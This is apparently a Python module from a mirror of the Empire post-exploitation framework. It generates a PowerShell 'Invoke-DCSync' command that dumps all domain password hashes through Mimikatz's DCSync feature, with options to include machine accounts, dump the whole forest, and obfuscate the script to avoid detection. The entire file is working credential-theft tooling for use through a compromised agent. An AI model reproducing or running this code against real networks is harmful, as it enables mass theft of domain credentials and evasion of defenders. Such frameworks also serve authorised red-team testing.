mirror of
https://github.com/EmpireProject/Empire
synced 2026-06-08 10:58:16 +00:00
xorrior
115 lines
4.0 KiB
Python
115 lines
4.0 KiB
Python
from lib.common import helpers
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class Module:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'Invoke-Mimikatz DCsync - Full Hashdump',
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'Author': ['@gentilkiwi', 'Vincent Le Toux', '@JosephBialek', "@harmj0y", "@monoxgas"],
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'Description': ("Runs PowerSploit's Invoke-Mimikatz function "
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"to collect all domain hashes using Mimikatz's"
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"lsadump::dcsync module. This doesn't need code "
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"execution on a given DC, but needs to be run from"
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"a user context with DA equivalent privileges."),
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'Background' : True,
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'OutputExtension' : None,
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'NeedsAdmin' : False,
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'OpsecSafe' : True,
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'Language' : 'powershell',
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'MinLanguageVersion' : '2',
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'Comments': [
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'http://blog.gentilkiwi.com',
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'http://clymb3r.wordpress.com/'
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]
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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'Description' : 'Agent to run module on.',
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'Required' : True,
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'Value' : ''
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},
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'Computers' : {
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'Description' : 'Switch. Include machine hashes in the dump',
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'Required' : False,
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'Value' : ''
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},
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'Domain' : {
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'Description' : 'Specified (fqdn) domain to pull for the primary domain/DC.',
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'Required' : False,
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'Value' : ''
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},
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'Forest' : {
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'Description' : 'Switch. Pop the big daddy (forest) as well.',
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'Required' : False,
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'Value' : ''
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},
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'Active' : {
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'Description' : 'Switch. Only collect hashes for accounts marked as active. Default is True',
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'Required' : False,
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'Value' : ''
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self, obfuscate=False, obfuscationCommand=""):
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# read in the common module source code
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moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-DCSync.ps1"
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if obfuscate:
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helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
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moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
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try:
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f = open(moduleSource, 'r')
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except:
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print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
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return ""
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moduleCode = f.read()
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f.close()
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script = moduleCode
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scriptEnd = "Invoke-DCSync -PWDumpFormat "
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if self.options["Domain"]['Value'] != '':
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scriptEnd += " -Domain " + self.options['Domain']['Value']
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if self.options["Forest"]['Value'] != '':
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scriptEnd += " -DumpForest "
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if self.options["Computers"]['Value'] != '':
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scriptEnd += " -GetComputers "
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if self.options["Active"]['Value'] == '':
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scriptEnd += " -OnlyActive:$false "
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scriptEnd += "| Out-String;"
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if obfuscate:
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scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
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script += scriptEnd
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return script
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